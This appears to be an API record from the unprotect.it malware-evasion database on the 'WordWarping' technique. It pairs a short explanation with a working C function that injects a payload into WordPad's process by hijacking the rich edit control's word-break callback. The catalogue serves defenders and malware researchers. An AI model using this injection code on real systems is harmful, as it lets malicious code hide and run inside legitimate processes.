GET /api/techniques/158/
HTTP 200 OK
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "name": "WordWarping",
    "category": [
        "https://search.unprotect.it/api/categories/4/"
    ],
    "description": "Edit controls (including Rich Edit) are very common Windows controls present in most applications. They are either embedded directly, or as subclassed windows. When they display text in multiline mode they use so-called EditWordBreakProc callback function.\r\n\r\nAnytime the control needs to do something related to word wrapping the procedure will be called.\r\nOne can modify this function for any window by sending EM_SETWORDBREAKPROC message to it. If windows is an Edit control or its descendant, funny things may happen. \r\nA word wrapper callback function for an edit or rich edit control can be set using the EM_SETWORDBREAKPROC message. \r\n\r\nSimulating keyboard input via the SendInput or PostMessage APIs can trigger execution of the callback function.",
    "resources": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/ http://www.hexacorn.com/blog/2019/04/23/wordwarper-new-code-injection-trick/",
    "tags": "WordWarping",
    "snippets": [
        {
            "language": "https://search.unprotect.it/api/snippet_languages/2/",
            "author": "https://search.unprotect.it/api/snippet_authors/6/",
            "technique": "https://search.unprotect.it/api/techniques/158/",
            "description": "",
            "plain_code": "VOID wordwarping(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          wpw, rew;\r\n    LPVOID        cs, wwf;\r\n    SIZE_T        rd, wr;\r\n    INPUT         ip;\r\n    \r\n    // 1. Get main window for wordpad.\r\n    //    This will accept simulated keyboard input.\r\n    wpw = FindWindow(L\"WordPadClass\", NULL);\r\n    \r\n    // 2. Find the rich edit control for wordpad.\r\n    rew = FindWindowEx(wpw, NULL, L\"RICHEDIT50W\", NULL);\r\n\r\n    // 3. Try get current address of Wordwrap function\r\n    wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);\r\n\r\n    // 4. Obtain the process id for wordpad.\r\n    GetWindowThreadProcessId(rew, &id);\r\n\r\n    // 5. Try open the process.\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 6. Allocate RWX memory for the payload.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\r\n    // 7. Write the payload to memory\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n\r\n    // 8. Update the callback procedure\r\n    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);\r\n\r\n    // 9. Simulate keyboard input to trigger payload\r\n    ip.type           = INPUT_KEYBOARD;\r\n    ip.ki.wVk         = 'A';\r\n    ip.ki.wScan       = 0;\r\n    ip.ki.dwFlags     = 0;\r\n    ip.ki.time        = 0;\r\n    ip.ki.dwExtraInfo = 0;\r\n    \r\n    SetForegroundWindow(rew);\r\n    SendInput(1, &ip, sizeof(ip));\r\n\r\n    // 10. Restore original Wordwrap function (if any)\r\n    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);\r\n    \r\n    // 11. Free memory and close process handle\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
        }
    ],
    "detection_rules": []
}